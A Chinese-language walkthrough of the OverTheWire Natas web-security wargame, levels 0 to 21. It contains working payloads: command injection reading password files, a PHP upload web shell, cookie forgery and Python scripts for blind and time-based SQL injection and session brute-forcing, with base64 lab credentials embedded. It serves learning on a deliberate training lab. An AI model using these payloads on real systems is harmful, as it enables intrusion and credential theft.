0.natas0
打开网站,查看源代码就能看到密码
1.natas0->1
禁用了鼠标右键,但是不影响,火狐浏览器使用F12直接看
2.natas1->2
还是查看源代码,发现图片的路径。 直接将路径复制到地址栏 发现users.txt文件,打开即得到密码
3.natas2->3
查看源代码,没有发现信息,看看robots.txt 转到对应目录中去,发现users.txt文件,得到密码
4.natas3->4
打开以后发现要求必须从指定网页访问当前网页,考虑在http请求头中添加referer字段。启动burpsuit。
获得密码
5.natas4->5
登录网站之后会提示没有login,用burpsuit把cookie中的loggedin=0改为=1
6.natas5->6
点击查看源代码
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
就是判断pos提交的secret的值是否与secret变量的值相等。而secret变量的值在/include/secret.inc文件中
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
返回首页,提交该字符串。
7.natas6->7
典型的文件包含漏洞,将包含密码的页面加入到地址栏中,即可得到密码。
8.natas7->8
打开源代码,并分析
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
可知函数将post的secret变量的值进行base64编码,然后逆序置换,然后转换成16进制数,并与encodedSecret变量值进行比较,一致则显示密码。 简单写个python脚本。
import base64
import binascii
encodeSecret = "3d3d516343746d4d6d6c315669563362"
b = binascii.a2b_hex(encodeSecret)
c = b[::-1]
res = base64.b64decode(c)
print(res)
可得到结果
9.natas8->9
老规矩,先看源代码
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
从源代码可以看出,最后一句应该是存在漏洞的。我们要想办法实现grep -i ‘’ /etc/natas_webpass/natas9这一句,于是构造payload为
'' /etc/natas_webpass/natas10
提交,就可以获得密码
10.natas9->10
在上一题的基础上,增加了过滤。查看源代码,发现只是过滤了"; | &"三种符号,并不影响我们的payload。
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
还是使用我们的payload,就可以得到密码
'' /etc/natas_webpass/natas11
11.natas10->11
首先还是分析源代码
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
如果要让网页显示密码,则我们需要提交cookie中data字段为{“showpassword”=>“yes”, “bgcolor”=>"#ffffff"}编码加密后的字符。但是分析xor_encrypt函数,我们并不知道key是什么,但是我们可以通过明文{“showpassword”=>“no”, “bgcolor”=>"#ffffff"}和对应密文"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D"分析得到key。 首先得到key的脚本
<?php
$result = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D';
$de_result = base64_decode($result);
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$new = json_encode($defaultdata);
$key = '';
for ($i=0;$i<strlen($new);$i++){
$key .= $new[$i] ^ $de_result[$i];
}
print($key);
?>
得到的结果为qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq,可知key为qw8J。 然后是得到payload的脚本
<?php
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$cook = base64_encode(xor_encrypt(json_encode($data)));
print($cook);
?>
使用burpsuit,将得到的cook放入cookie的data字段,提交即可得到下关的密钥。
12.natas11->12
这一关是一个典型的文件上传漏洞,源代码中也没有做什么过滤,只是重命名了文件。新建一个php文件
<?php system("cat /etc/natas_webpass/natas13"); ?>
(尝试使用过eval(“eval($post(a))”),一句话木马,能上传成功,但是无法执行)
上传的时候使用burpsuit拦截,修改后缀为php。 然后在地址栏打开上传的文件,就可以得到密码。
13.natas12->13
这一关增加了对文件类型的检测。代码为
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";}
exif_imagetype函数主要是检查文件第一个字节,所以在文件内头加上图片文件头就可以。GIF的文件头为GIF8。 成功得到下一关密码。 ps:其实尝试用了一下PNG头和JPEG头,都没有成功,暂时还不知道是什么原因。
14.natas13->14
这一关应该是开始进入SQL注入的内容了。
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
从代码可以看出没有做任何过滤,直接注入即可。
15.natas14->15
首先还是分析代码
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
sql语句还是存在注入点的,只是现在是盲注,不能直接显示密码。我们首先测试用户名natas16,发现是存在的,那么其对应的密码就应当是下一关的密码。那么在判断密码的时候我们构造payload为select * from users where username=“natas16” and password like binary xxx. 实际上在注入的时候,由于网络的问题,破解的速度很慢,因此,这里我们分两步走。第一步用like binary "%x%’'这样的形式,判断有哪些字符在password中出现;第二步再用like binary "x%"从头至尾依次判断每个字符是什么。 具体的脚本代码如下
import requests
from requests.auth import HTTPBasicAuth
url = "http://natas15.natas.labs.overthewire.org"
headers = {'Authorization': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
dic = [chr(x + 48) for x in range(0, 10)]
char1 = [chr(x + 65) for x in range(0, 26)]
char2 = [chr(x + 97) for x in range(0, 26)]
dic.extend(char1)
dic.extend(char2)
ans = ''
i = 0
pdic = ''
while i < len(dic):
print('test:' + dic[i])
payload = "natas16\" and password like binary \"" + "%" + dic[i]+"%"
data = {"username": payload}
post_res = requests.post(url, data, headers=headers)
if 'This user exists.' in post_res.text:
pdic += dic[i]
print(dic[i])
i += 1
print(pdic)
while i < len(pdic):
print('test:' + pdic[i])
payload = "natas16\" and password like binary \"" + ans + pdic[i]+"%"
data = {"username": payload}
post_res = requests.post(url, data, headers=headers)
if 'This user exists.' in post_res.text:
ans += pdic[i]
print(pdic[i])
i = 0
continue
i += 1
print(ans)
16.natas15->16
老规矩,看源代码
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
把很多特殊符号都过滤了。 这里的重点是:$()是可以在引号内执行的。里层的执行结果将作为外层的参数。 我们先输入$(echo a),实际上执行的命令是grep -i “a” dictionary.txt。 思路:构造出grep -i “$(grep a /etc/natas_webpass/natas17)wrongdoers” dictionary.txt的语句,如果payload在密码中,则密码+wrongdoers一定没有出现在dictionary.txt,返回空。如果payload不在密码中,则内层为空,外层返回wrongdoers。 因此:分两部构造payload,第一步先判断有哪些字符在password中,第二部从首字母依次匹配。
import requests
url = "http://natas16.natas.labs.overthewire.org"
headers = {'Authorization': 'Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=='}
dic = [chr(x + 48) for x in range(0, 10)]
char1 = [chr(x + 65) for x in range(0, 26)]
char2 = [chr(x + 97) for x in range(0, 26)]
dic.extend(char1)
dic.extend(char2)
dic_x = ''
flag = ''
i = 0
while i < len(dic):
payload = dic[i]
params = {
'needle': '$(grep ' + payload + ' /etc/natas_webpass/natas17)wrongdoers',
'submit': 'Search'
}
res = requests.get(url, headers=headers, params=params)
if 'wrongdoers' not in res.text:
dic_x += dic[i]
print(dic[i] + 'is in')
else:
print(dic[i] + 'is not in')
i += 1
print(dic_x)
i = 0
while i < len(dic_x):
payload = dic_x[i]
params = {
'needle': '$(grep ^' + flag + payload + ' /etc/natas_webpass/natas17)wrongdoers',
'submit': 'Search'
}
res = requests.get(url, headers=headers, params=params)
if 'wrongdoers' not in res.text:
flag += dic_x[i]
print(dic_x[i] + 'is in')
i = 0
else:
print(dic_x[i] + 'is not in')
i += 1
print(flag)
17.natas16->17
源代码
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
} else {
}
} else {
}
mysql_close($link);
} else {
?>
我们注意到回显的语句被注释掉了。那么考虑使用时间盲注。 测试之前补充知识点。 来自xiayun1995,解释了为什么使用–+而不是–
sql的注释语句为’- - ’ 和 ’ # ’ 但是#在url中来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#。可以将#改为%23 而–不能直接与引号连接,中间应当要有一个空格,而加入+号后,就转为空格了。因此为–+
考虑可以构造这样的查询语句
select * from where username="natas18" and password like binary "%a%" and sleep(3)
首先逐字符判断是否在密码中,得到一个较小的集合。然后在从首字母逐步匹配,得到整个password。 源码如下:
import time
import requests
proxie = {'http': 'http://127.0.0.1:8080'}
url = 'http://natas17.natas.labs.overthewire.org/'
header = {'Authorization': 'Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=='}
dic = [chr(x + 48) for x in range(0, 10)]
char1 = [chr(x + 65) for x in range(0, 26)]
char2 = [chr(x + 97) for x in range(0, 26)]
dic.extend(char1)
dic.extend(char2)
dic_x = ''
flag = ''
i = 0
for char in dic:
data = {'username': f'natas18" and password like binary "%{char}%" and sleep(3)#'}
s_time = time.time()
response = requests.post(url=url, headers=header, data=data, proxies=proxie)
e_time = time.time()
dif_time = e_time - s_time
print(dif_time)
if dif_time >= 3:
dic_x += char
print(char + ' is in')
else:
print(char + ' is not in')
print(dic_x)
while i < len(dic_x):
data = {'username': f'natas18" and password like binary "{flag + dic_x[i]}%" and sleep(3)#'}
s_time = time.time()
response = requests.post(url=url, headers=header, data=data, proxies=proxie)
e_time = time.time()
dif_time = e_time - s_time
print(dif_time)
if dif_time >= 3:
flag += dic_x[i]
print(flag)
i = 0
else:
print(dic_x[i] + ' is not in')
i += 1
知识点
- sql语句注释的用法:–, --+,#,%23
- sql语句中:可用password like binary进行字符的判断;
- 使用like binary时,注意使用%进行匹配
- 同时:substr(),mid(),ascii()等函数也是有用的
- python中,f’可以执行大括号中的python语句。eg. f’sfdsaf{print(“hello”)}’
- r’则表示里面的字符并不进行转义 eg. r’/n’
18.natas17->18
源代码:
<?
$maxid = 640;
function isValidAdminLogin() {
if($_REQUEST["username"] == "admin") {
}
return 0;
}
function isValidID($id) {
return is_numeric($id);
}
function createID($user) {
global $maxid;
return rand(1, $maxid);
}
function debug($msg) {
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
function my_session_start() {
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0;
}
return true;
}
}
return false;
}
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
从源代码的逻辑来看,不论怎么设置session,最后admin的值只能为0.而cookie里面的PHPSESSID字段,则是在0-640范围内的数,那么admin的PHPSESSID值一定在这里面,暴力破解,通过cookie以admin身份登录。 脚本代码如下:
import requests
proxie = {'http': 'http://127.0.0.1:8080'}
url = 'http://natas18.natas.labs.overthewire.org/'
header = {'Authorization': 'Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA=='}
for uid in range(0, 641):
cookie = {'__utma': '176859643.1701764875.1629551603.1632719883.1632842691.23',
'__utmz': '176859643.1629551603.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic',
'__utmb': '=176859643.3.10.1632842691',
'__utmc': '176859643',
'__utmt': '1',
'PHPSESSID': str(uid)}
res = requests.get(url, headers=header, proxies=proxie, cookies=cookie)
if 'You are an admin' in res.text:
print(res.text)
break
else:
print(str(uid) + ' failure')
19.natas18->19
本关没有源代码,通过抓包发现他的PHPSESSID是xxx-admin,转换为ASCII码后的形式。脚本如下:
import binascii
import requests
url = 'http://natas19.natas.labs.overthewire.org/'
header = {'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=='}
for uid in range(91, 641):
payload = str(uid) + '-admin'
suid = str(binascii.b2a_hex(bytes(payload, encoding='utf-8')), encoding='utf8')
cookie = {'__utma': '176859643.1701764875.1629551603.1632719883.1632842691.23',
'__utmz': '176859643.1629551603.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic',
'__utmb': '=176859643.3.10.1632842691',
'__utmc': '176859643',
'__utmt': '1',
'PHPSESSID': suid}
res = requests.get(url, headers=header, cookies=cookie)
if 'You are an admin' in res.text:
print(res.text)
break
else:
print(str(uid) + ' failure')
20.natas20->21
这一关是两个网站在同一个服务器。 第1个页面源代码
<?
function print_credentials() {
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
session_start();
print_credentials();
?>
也是对session的判断,再来看第二个页面
<?
session_start();
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
?>
原理很简单,在提交数据的时候,将键值对存入session。那么在提交数据中加入admin=1即可。其基本流程为:获取第1个页面给的seesion id,然后在第二个页面的请求中,放入session id和admin=1,让服务器将该id对应的session改为管理员,然后再从第1个页面登录。 注意:不能直接将第二个页面的session id放入第一个页面的请求中。
|